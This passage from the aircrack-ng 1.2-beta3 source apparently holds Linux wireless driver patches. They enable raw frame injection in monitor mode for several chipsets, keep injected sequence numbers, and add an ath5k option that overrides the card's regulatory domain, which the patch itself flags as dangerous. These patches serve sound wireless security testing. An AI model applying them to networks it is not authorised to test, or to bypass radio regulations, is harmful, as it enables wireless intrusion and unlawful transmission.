rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2010-01-31 11:32:06.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187.h 2010-01-31 09:28:57.000000000 -0500 @@ -43,12 +43,14 @@ #include #include #include -#include -#include #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#include #include #else +#include +#include #include #endif diff -udpr rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2010-01-31 11:32:05.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/beta-8187/r8187_core.c 2010-01-31 11:15:27.000000000 -0500 @@ -1893,8 +1893,6 @@ short rtl8180_init(struct net_device *de DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - dev->get_stats = rtl8180_stats; - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; @@ -2597,6 +2595,19 @@ void rtl8180_irq_rx_tasklet(struct r8180 ---------------------------- USB_STUFF--------------------------- *****************************************************************************/ +#ifdef HAVE_NET_DEVICE_OPS +static const struct net_device_ops rtl8180_netdev_ops = { + .ndo_open = rtl8180_open, + .ndo_stop = rtl8180_close, + .ndo_get_stats = rtl8180_stats, + .ndo_tx_timeout = tx_timeout, + .ndo_do_ioctl = rtl8180_ioctl, + .ndo_set_multicast_list = r8180_set_multicast, + .ndo_set_mac_address = r8180_set_mac_adr, + .ndo_start_xmit = ieee80211_xmit_rtl7, +// .ndo_start_xmit = ieee80211_xmit, +}; +#endif static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id) @@ -2622,14 +2633,20 @@ static int __devinit rtl8187_usb_probe(s priv->udev=udev; +#ifdef HAVE_NET_DEVICE_OPS + dev->netdev_ops = &rtl8180_netdev_ops; +#else dev->open = rtl8180_open; dev->stop = rtl8180_close; + dev->get_stats = rtl8180_stats; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; dev->tx_timeout = tx_timeout; dev->wireless_handlers = &r8180_wx_handlers_def; dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#endif + #if WIRELESS_EXT >= 12 #if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; diff -udpr rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2010-01-31 11:32:06.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_module.c 2010-01-31 09:25:48.000000000 -0500 @@ -117,8 +117,12 @@ struct net_device *alloc_ieee80211_rtl7( IEEE80211_ERROR("Unable to network device.\n"); goto failed; } + +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,0) ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit_rtl7; +#else + ieee = (struct ieee80211_device *)dev->priv; +#endif ieee->dev = dev; diff -udpr rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2010-01-31 11:28:19.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_rx.c 2010-01-31 11:49:16.000000000 -0500 @@ -104,7 +104,12 @@ static inline void ieee80211_monitor_rx_ hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ hdr->f.status = s; hdr->f.len = l; hdr->f.data = d LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); - LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + + hdr->mactime.did = LWNG_CAP_DID_BASE | (2 << 12); + hdr->mactime.status = 0; + hdr->mactime.len = 4; + hdr->mactime.data = rx_stats->mac_time[0]; + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); diff -udpr rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2010-01-31 11:32:06.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_tx.c 2010-01-31 11:17:55.000000000 -0500 @@ -511,3 +511,4 @@ int ieee80211_xmit_rtl7(struct sk_buff * } EXPORT_SYMBOL(ieee80211_txb_free_rtl7); +EXPORT_SYMBOL(ieee80211_xmit_rtl7); aircrack-ng-1.2-beta3/patches/b43-injection-2.6.24.4.patch0000644000000000000000000000553311000127110021125 0ustar rootroot# Kernel >= 2.6.24.1 highly recommended # Fixes injection speed (up to 350 pps) # Fixes fragmented injection (requires mac80211 patch too) diff -bBur linux-2.6.24.4/drivers/net/wireless/b43/main.c linux-2.6.24.4-sud/drivers/net/wireless/b43/main.c --- linux-2.6.24.4/drivers/net/wireless/b43/main.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43/main.c 2008-04-05 16:45:11.000000000 +0200 @@ -2516,6 +2516,11 @@ goto out; if (unlikely(b43_status(dev) < B43_STAT_STARTED)) goto out; + + if (ctl->type == IEEE80211_IF_TYPE_MNTR) { + ctl->flags |= IEEE80211_TXCTL_NO_ACK; + } + /* DMA-TX is done without a global lock. */ if (b43_using_pio(dev)) { spin_lock_irqsave(&wl->irq_lock, flags); diff -bBur linux-2.6.24.4/drivers/net/wireless/b43/xmit.c linux-2.6.24.4-sud/drivers/net/wireless/b43/xmit.c --- linux-2.6.24.4/drivers/net/wireless/b43/xmit.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43/xmit.c 2008-04-05 16:48:51.000000000 +0200 @@ -295,7 +295,8 @@ /* MAC control */ if (!(txctl->flags & IEEE80211_TXCTL_NO_ACK)) mac_ctl |= B43_TX4_MAC_ACK; - if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && + if ( (txctl->type != IEEE80211_IF_TYPE_MNTR) && + !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL))) mac_ctl |= B43_TX4_MAC_HWSEQ; if (txctl->flags & IEEE80211_TXCTL_FIRST_FRAGMENT) diff -bBur linux-2.6.24.4/drivers/net/wireless/b43legacy/main.c linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/main.c --- linux-2.6.24.4/drivers/net/wireless/b43legacy/main.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/main.c 2008-04-05 16:45:11.000000000 +0200 @@ -2379,6 +2379,11 @@ goto out; if (unlikely(b43legacy_status(dev) < B43legacy_STAT_STARTED)) goto out; + + if (ctl->type == IEEE80211_IF_TYPE_MNTR) { + ctl->flags |= IEEE80211_TXCTL_NO_ACK; + } + /* DMA-TX is done without a global lock. */ if (b43legacy_using_pio(dev)) { spin_lock_irqsave(&wl->irq_lock, flags); diff -bBur linux-2.6.24.4/drivers/net/wireless/b43legacy/xmit.c linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/xmit.c --- linux-2.6.24.4/drivers/net/wireless/b43legacy/xmit.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/xmit.c 2008-04-05 16:49:02.000000000 +0200 @@ -290,7 +290,8 @@ /* MAC control */ if (!(txctl->flags & IEEE80211_TXCTL_NO_ACK)) mac_ctl |= B43legacy_TX4_MAC_ACK; - if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && + if ( (txctl->type != IEEE80211_IF_TYPE_MNTR) && + !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL))) mac_ctl |= B43legacy_TX4_MAC_HWSEQ; if (txctl->flags & IEEE80211_TXCTL_FIRST_FRAGMENT) aircrack-ng-1.2-beta3/patches/ath5k_regdomain_override.patch0000644000000000000000000000265011324503527022644 0ustar rootrootPaulFertser> Get _your_ country code from regd.h, add 32768 and supply as a parameter. fercerpav@gmail.com --- linux-2.6.32-gentoo-r1-orig/drivers/net/wireless/ath/ath5k/base.c 2009-12-03 06:51:21.000000000 +0300 +++ linux-2.6.32-gentoo-r1/drivers/net/wireless/ath/ath5k/base.c 2010-01-16 00:02:51.000000000 +0300 @@ -68,6 +68,11 @@ module_param_named(all_channels, modparam_all_channels, bool, S_IRUGO); MODULE_PARM_DESC(all_channels, "Expose all channels the device can use."); +static int modparam_override_eeprom_regdomain = -1; +module_param_named(override_eeprom_regdomain, + modparam_override_eeprom_regdomain, int, S_IRUGO); +MODULE_PARM_DESC(override_eeprom_regdomain, "Override regdomain hardcoded in EEPROM with this value (DANGEROUS)."); + /******************\ * Internal defines * @@ -572,6 +577,15 @@ goto err_irq; } + if (modparam_override_eeprom_regdomain != -1) { + ATH5K_ERR(sc, "DANGER! You're overriding EEPROM-defined regulatory domain.\n"); + ATH5K_ERR(sc, "Your card was not certified to operate on the domain you choosed.\n"); + ATH5K_ERR(sc, "This might result in a violation of your local regulatory rules.\n"); + ATH5K_ERR(sc, "Do not ever do that unless you really know what you do!\n"); + sc->ah->ah_capabilities.cap_eeprom.ee_regdomain = + modparam_override_eeprom_regdomain; + } + /* set up multi-rate retry capabilities */ if (sc->ah->ah_version == AR5K_AR5212) { hw->max_rates = 4; aircrack-ng-1.2-beta3/patches/mac80211_2.6.26-rc8-wl_frag.patch0000644000000000000000000000134311031533734021760 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 345d6ff..20c604d 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -278,6 +278,15 @@ static ieee80211_tx_result ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) { struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; + struct ieee80211_tx_info *info = IEEE80211_SKB_CB(tx->skb); + + /* + * don't touch sequence numbers on raw monitor interfaces + */ + if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && + (tx->sdata->vif.type == IEEE80211_IF_TYPE_MNTR) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) + return TX_CONTINUE; if (ieee80211_hdrlen(hdr->frame_control) >= 24) ieee80211_include_sequence(tx->sdata, hdr); aircrack-ng-1.2-beta3/patches/ieee80211_inject.patch0000644000000000000000000000153010761053203020532 0ustar rootrootdiff -Naur linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c --- linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c 2006-10-13 14:18:10.000000000 +0200 +++ linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c 2007-04-09 17:07:45.000000000 +0200 @@ -291,6 +291,23 @@ goto success; } + if(ieee->iw_mode == IW_MODE_MONITOR) + { + txb = ieee80211_alloc_txb(1, skb->len, + ieee->tx_headroom, GFP_ATOMIC); + if (unlikely(!txb)) { + printk(KERN_WARNING "%s: Could not allocate TXB\n", + ieee->dev->name); + goto failed; + } + + txb->encrypted = 0; + txb->payload_size = skb->len; + memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); + + goto success; + } + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); crypt = ieee->crypt[ieee->tx_keyidx]; aircrack-ng-1.2-beta3/patches/rtl8180-0.21v2.patch0000644000000000000000000002354110761053203017651 0ustar rootrootdiff -Naur rtl8180-0.21_orig/ieee80211_crypt.c rtl8180-0.21_patched/ieee80211_crypt.c --- rtl8180-0.21_orig/ieee80211_crypt.c 2004-11-27 20:33:23.000000000 +0100 +++ rtl8180-0.21_patched/ieee80211_crypt.c 2007-02-18 17:35:03.000000000 +0100 @@ -11,8 +11,10 @@ * */ #ifndef CONFIG_IEEE80211_NOWEP -#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif #include #include #include diff -Naur rtl8180-0.21_orig/ieee80211_crypt_wep.c rtl8180-0.21_patched/ieee80211_crypt_wep.c --- rtl8180-0.21_orig/ieee80211_crypt_wep.c 2005-04-12 14:25:42.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_crypt_wep.c 2007-02-18 17:35:03.000000000 +0100 @@ -9,8 +9,10 @@ * more details. */ #ifndef CONFIG_IEEE80211_NOWEP -#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif #include #include #include @@ -28,7 +30,11 @@ #endif #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) #include +#else +#include +#endif #include #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,5,47)) diff -Naur rtl8180-0.21_orig/ieee80211_module.c rtl8180-0.21_patched/ieee80211_module.c --- rtl8180-0.21_orig/ieee80211_module.c 2005-04-15 00:29:23.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_module.c 2007-02-18 17:35:03.000000000 +0100 @@ -37,8 +37,11 @@ *******************************************************************************/ #include +#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include @@ -53,7 +56,6 @@ #include #include #include -#include #include #include #include diff -Naur rtl8180-0.21_orig/ieee80211_rx.c rtl8180-0.21_patched/ieee80211_rx.c --- rtl8180-0.21_orig/ieee80211_rx.c 2005-04-12 14:13:18.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_rx.c 2007-02-18 17:35:03.000000000 +0100 @@ -16,8 +16,11 @@ * more details. */ +#include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include @@ -32,7 +35,6 @@ #include #include #include -#include #include #include #include diff -Naur rtl8180-0.21_orig/ieee80211_tx.c rtl8180-0.21_patched/ieee80211_tx.c --- rtl8180-0.21_orig/ieee80211_tx.c 2005-04-12 23:02:17.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_tx.c 2007-02-18 17:35:03.000000000 +0100 @@ -31,7 +31,10 @@ ******************************************************************************/ #include +#include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include @@ -46,7 +49,6 @@ #include #include #include -#include #include #include #include @@ -577,6 +579,14 @@ spin_lock_irqsave(&ieee->lock,flags); + if (ieee->iw_mode == IW_MODE_MONITOR) { + ieee->func->hard_data_xmit(ieee->dev,skb,0); + dev_kfree_skb_any(skb); + ieee->stats.tx_packets++; + ieee->dev->trans_start = jiffies; + goto exit; + } + if(ieee->queue_stop){ IEEE80211DMESG("EE: IEEE hard_start_xmit invoked when kernel queue should be stopped"); netif_stop_queue(ieee->dev); diff -Naur rtl8180-0.21_orig/ieee80211_wx.c rtl8180-0.21_patched/ieee80211_wx.c --- rtl8180-0.21_orig/ieee80211_wx.c 2005-04-10 19:54:20.000000000 +0200 +++ rtl8180-0.21_patched/ieee80211_wx.c 2007-02-18 17:35:03.000000000 +0100 @@ -34,6 +34,9 @@ ******************************************************************************/ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif #if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,0) #include /* request_module */ #include diff -Naur rtl8180-0.21_orig/Makefile rtl8180-0.21_patched/Makefile --- rtl8180-0.21_orig/Makefile 2005-02-27 19:48:47.000000000 +0100 +++ rtl8180-0.21_patched/Makefile 2007-02-18 17:34:21.000000000 +0100 @@ -59,7 +59,7 @@ make -C $(KSRC) SUBDIRS=$(PWD) modules 2.6: - $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) MODVERDIR=$(PWD) modules + $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) modules clean: rm -f *.mod.c *.mod *.o .*.cmd *.ko .*.flags diff -Naur rtl8180-0.21_orig/Makefile26 rtl8180-0.21_patched/Makefile26 --- rtl8180-0.21_orig/Makefile26 2005-02-27 19:48:48.000000000 +0100 +++ rtl8180-0.21_patched/Makefile26 2007-02-18 17:34:21.000000000 +0100 @@ -26,7 +26,7 @@ rm -f *.mod.c *.mod *.o .*.cmd *.ko rm -rf $(PWD)/tmp modules: - $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) MODVERDIR=$(PWD) modules + $(MAKE) -C $(KSRC) SUBDIRS=$(PWD) modules MODDESTDIR := /lib/modules/$(KVER)/kernel/drivers/net/wireless MOD_ALGDESTDIR := /lib/modules/$(KVER)/kernel/drivers/net/wireless/alg diff -Naur rtl8180-0.21_orig/r8180_core.c rtl8180-0.21_patched/r8180_core.c --- rtl8180-0.21_orig/r8180_core.c 2005-04-12 14:39:56.000000000 +0200 +++ rtl8180-0.21_patched/r8180_core.c 2007-02-18 17:35:03.000000000 +0100 @@ -121,6 +121,7 @@ MODULE_AUTHOR("Andrea Merello "); MODULE_DESCRIPTION("Linux driver for Realtek RTL8180 WiFi cards"); +#if 0 MODULE_PARM(ifname,"s"); MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); @@ -132,7 +133,7 @@ MODULE_PARM(channels,"i"); MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - +#endif static int __devinit rtl8180_pci_probe(struct pci_dev *pdev, const struct pci_device_id *id); @@ -452,13 +453,14 @@ } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { struct r8180_priv *priv = dev->priv; return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -2204,11 +2206,12 @@ void rtl8180_hard_data_xmit(struct net_device *dev,struct sk_buff *skb,short morefrag) { struct r8180_priv *priv = (struct r8180_priv *)dev->priv; - int mode; + int mode, priority = LOW_PRIORITY; //unsigned long flags; mode = priv->ieee80211->iw_mode; - + if( mode == IW_MODE_MONITOR ) + priority = HI_PRIORITY; /* * This function doesn't require lock because we make @@ -2220,13 +2223,13 @@ //spin_lock_irqsave(&priv->tx_lock,flags); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + if (!check_nic_enought_desc(dev, priority)){ DMESG("Error: no descriptor left by previous TX (avail %d) ", - get_curr_tx_free_desc(dev, LOW_PRIORITY)); + get_curr_tx_free_desc(dev, priority)); ieee80211_r8180_stop_queue(priv->ieee80211); } - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag,0); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + rtl8180_tx(dev, (u32*)skb->data, skb->len, priority, morefrag,0); + if (!check_nic_enought_desc(dev, priority)) ieee80211_r8180_stop_queue(priv->ieee80211); //spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -2634,7 +2637,11 @@ spin_lock_init(&priv->tx_lock); sema_init(&priv->wx_sem,1); priv->workqueue = create_workqueue(DRV_NAME); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->IBSS_work,(void(*)(void*)) rtl8180_IBSS_create_wq,dev); +#else + INIT_WORK(&priv->IBSS_work,(void(*)(void*)) rtl8180_IBSS_create_wq); +#endif tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long)) rtl8180_irq_rx_tasklet, @@ -3411,10 +3418,18 @@ if (priv->ieee80211->iw_mode == IW_MODE_ADHOC) rtl8180_IBSS_create(dev); -/* if (priv->ieee80211->iw_mode == IW_MODE_MONITOR){ + if (priv->ieee80211->iw_mode == IW_MODE_MONITOR) { + priv->retry_rts = 0; + priv->retry_data = 0; + rtl8180_tx_enable(dev); + netif_carrier_on(dev); + if(netif_queue_stopped(dev)) + netif_wake_queue(dev); + else + netif_start_queue(dev); } -*/ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) { // rtl8180_tx_enable(dev); @@ -3608,8 +3623,7 @@ pio_flags = (unsigned long)pci_resource_flags (pdev, 0); if (!(pio_flags & IORESOURCE_IO)) { - DMESG("%s: region #0 not a PIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #0 not a PIO resource, aborting"); goto fail; } @@ -3629,8 +3643,7 @@ pmem_flags = pci_resource_flags (pdev, 1); if (!(pmem_flags & IORESOURCE_MEM)) { - DMESG("%s: region #1 not a MMIO resource, aborting", - pdev->slot_name); + DMESG("r8180: region #1 not a MMIO resource, aborting"); goto fail; } @@ -3664,7 +3677,12 @@ dev->do_ioctl = do_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ diff -Naur rtl8180-0.21_orig/r8180.h rtl8180-0.21_patched/r8180.h --- rtl8180-0.21_orig/r8180.h 2005-04-11 18:36:26.000000000 +0200 +++ rtl8180-0.21_patched/r8180.h 2007-02-18 17:35:09.000000000 +0100 @@ -25,7 +25,10 @@ #include #include +#include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) #include +#endif #include #include #include aircrack-ng-1.2-beta3/patches/b43-injection-2.6.26-rc8-wl.patch0000644000000000000000000000362511031533734022120 0ustar rootrootdiff --git a/drivers/net/wireless/b43/xmit.c b/drivers/net/wireless/b43/xmit.c index bf6f6c1..735f2d0 100644 --- a/drivers/net/wireless/b43/xmit.c +++ b/drivers/net/wireless/b43/xmit.c @@ -315,9 +315,15 @@ int b43_generate_txhdr(struct b43_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43_TXH_MAC_ACK; - if (!ieee80211_is_pspoll(fctl)) + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !ieee80211_is_pspoll(fctl)) mac_ctl |= B43_TXH_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) mac_ctl |= B43_TXH_MAC_STMSDU; diff --git a/drivers/net/wireless/b43legacy/xmit.c b/drivers/net/wireless/b43legacy/xmit.c index a354078..d4d6e61 100644 --- a/drivers/net/wireless/b43legacy/xmit.c +++ b/drivers/net/wireless/b43legacy/xmit.c @@ -293,9 +293,15 @@ static int generate_txhdr_fw3(struct b43legacy_wldev *dev, } /* MAC control */ - if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + /* dev->wl->if_type returns IEEE80211_IF_TYPE_INVALID instead of + * IEEE80211_IF_TYPE_MNTR for monitor interfaces, as monitor mode + * is not considered "operating" by mac80211. + */ + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(info->flags & IEEE80211_TX_CTL_NO_ACK)) mac_ctl |= B43legacy_TX4_MAC_ACK; - if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && + if (dev->wl->if_type != 5 && dev->wl->if_type != 0 && + !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL))) mac_ctl |= B43legacy_TX4_MAC_HWSEQ; if (info->flags & IEEE80211_TX_CTL_FIRST_FRAGMENT) aircrack-ng-1.2-beta3/patches/rtl8187_hw_signal_backport_2.6.28.patch0000644000000000000000000000715111145116401023563 0ustar rootrootFrom: Larry Finger Date: Thu, 4 Dec 2008 04:21:20 +0000 (-0600) Subject: rtl8187: Improve wireless statistics for RTL8187 X-Git-Tag: master-2009-01-05~191 X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Flinville%2Fwireless-testing.git;a=commitdiff_plain;h=cd2865552927d616be4a0da7c24$ rtl8187: Improve wireless statistics for RTL8187 The current wireless statistics for the RTL8187 poorly indicate the signal strength and quality. With testing, I found that the AGC value is inversely correlated with the strength as in the RTL8187B. By implementing a similar calculation, much more code becomes common to the two devices. Signed-off-by: Larry Finger Tested by: Martín Ernesto Barreyro Acked-by: Hin-Tak Leung Signed-off-by: John W. Linville Crudely-backported-by: Zero_Chaos --- diff -Naur linux-2.6.28-orig/drivers/net/wireless/rtl8187_dev.c linux-2.6.28/drivers/net/wireless/rtl8187_dev.c --- linux-2.6.28-orig/drivers/net/wireless/rtl8187_dev.c 2009-02-09 16:52:51.000000000 -0500 +++ linux-2.6.28/drivers/net/wireless/rtl8187_dev.c 2009-02-09 17:22:50.000000000 -0500 @@ -303,29 +303,14 @@ struct rtl8187_rx_hdr *hdr = (typeof(hdr))(skb_tail_pointer(skb) - sizeof(*hdr)); flags = le32_to_cpu(hdr->flags); - signal = hdr->signal & 0x7f; + /* As with the RTL8187B below, the AGC is used to calculate + * signal strength and quality. In this case, the scaling + * constants are derived from the output of p54usb. + */ + quality = 130 - ((41 * hdr->agc) >> 6); + signal = -4 - ((27 * hdr->agc) >> 6); rx_status.antenna = (hdr->signal >> 7) & 1; - rx_status.noise = hdr->noise; rx_status.mactime = le64_to_cpu(hdr->mac_time); - priv->quality = signal; - rx_status.qual = priv->quality; - priv->noise = hdr->noise; - rate = (flags >> 20) & 0xF; - if (rate > 3) { /* OFDM rate */ - if (signal > 90) - signal = 90; - else if (signal < 25) - signal = 25; - signal = 90 - signal; - } else { /* CCK rate */ - if (signal > 95) - signal = 95; - else if (signal < 30) - signal = 30; - signal = 95 - signal; - } - rx_status.signal = signal; - priv->signal = signal; } else { struct rtl8187b_rx_hdr *hdr = (typeof(hdr))(skb_tail_pointer(skb) - sizeof(*hdr)); @@ -343,18 +328,18 @@ */ flags = le32_to_cpu(hdr->flags); quality = 170 - hdr->agc; - if (quality > 100) - quality = 100; signal = 14 - hdr->agc / 2; - rx_status.qual = quality; - priv->quality = quality; - rx_status.signal = signal; - priv->signal = signal; rx_status.antenna = (hdr->rssi >> 7) & 1; rx_status.mactime = le64_to_cpu(hdr->mac_time); - rate = (flags >> 20) & 0xF; } + if (quality > 100) + quality = 100; + rx_status.qual = quality; + priv->quality = quality; + rx_status.signal = signal; + priv->signal = signal; + rate = (flags >> 20) & 0xF; skb_trim(skb, flags & 0x0FFF); rx_status.rate_idx = rate; rx_status.freq = dev->conf.channel->center_freq; @@ -1065,6 +1050,7 @@ priv->mode = NL80211_IFTYPE_MONITOR; dev->flags = IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_RX_INCLUDES_FCS; eeprom.data = dev; @@ -1184,10 +1170,6 @@ printk(KERN_WARNING "rtl8187: 8187B chip detected. Support " "is EXPERIMENTAL, and could damage your\n" " hardware, use at your own risk\n"); - dev->flags |= IEEE80211_HW_SIGNAL_DBM; - } else { - dev->flags |= IEEE80211_HW_SIGNAL_UNSPEC; - dev->max_signal = 65; } dev->wiphy->interface_modes = BIT(NL80211_IFTYPE_STATION); aircrack-ng-1.2-beta3/patches/mac80211_2.6.24.4_frag.patch0000644000000000000000000000111610776411434021013 0ustar rootroot# Patch to prevent mac80211 to clobber injected sequence numbers diff -bBur linux-2.6.24.4/net/mac80211/tx.c linux-2.6.24.4-sud/net/mac80211/tx.c --- linux-2.6.24.4/net/mac80211/tx.c 2008-01-24 23:58:37.000000000 +0100 +++ linux-2.6.24.4-sud/net/mac80211/tx.c 2008-04-05 16:43:19.000000000 +0200 @@ -281,6 +281,9 @@ { struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; + if (unlikely(tx->flags & IEEE80211_TXRXD_TX_INJECTED)) + return TXRX_CONTINUE; + if (ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_control)) >= 24) ieee80211_include_sequence(tx->sdata, hdr); aircrack-ng-1.2-beta3/patches/madwifi-ng-r4073.patch0000644000000000000000000000705311226735175020514 0ustar rootrootdiff -dru madwifi-ng/ath/if_ath.c madwifi-ng-fixed/ath/if_ath.c --- madwifi-ng/ath/if_ath.c 2009-07-10 01:46:48.000000000 +0200 +++ madwifi-ng-fixed/ath/if_ath.c 2009-07-10 01:59:58.000000000 +0200 @@ -3010,6 +3010,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = netdev_priv(dev); + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = &(SKB_CB(skb)->phy); const HAL_RATE_TABLE *rt; @@ -3022,7 +3023,7 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try[0]; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try[0]; rt = 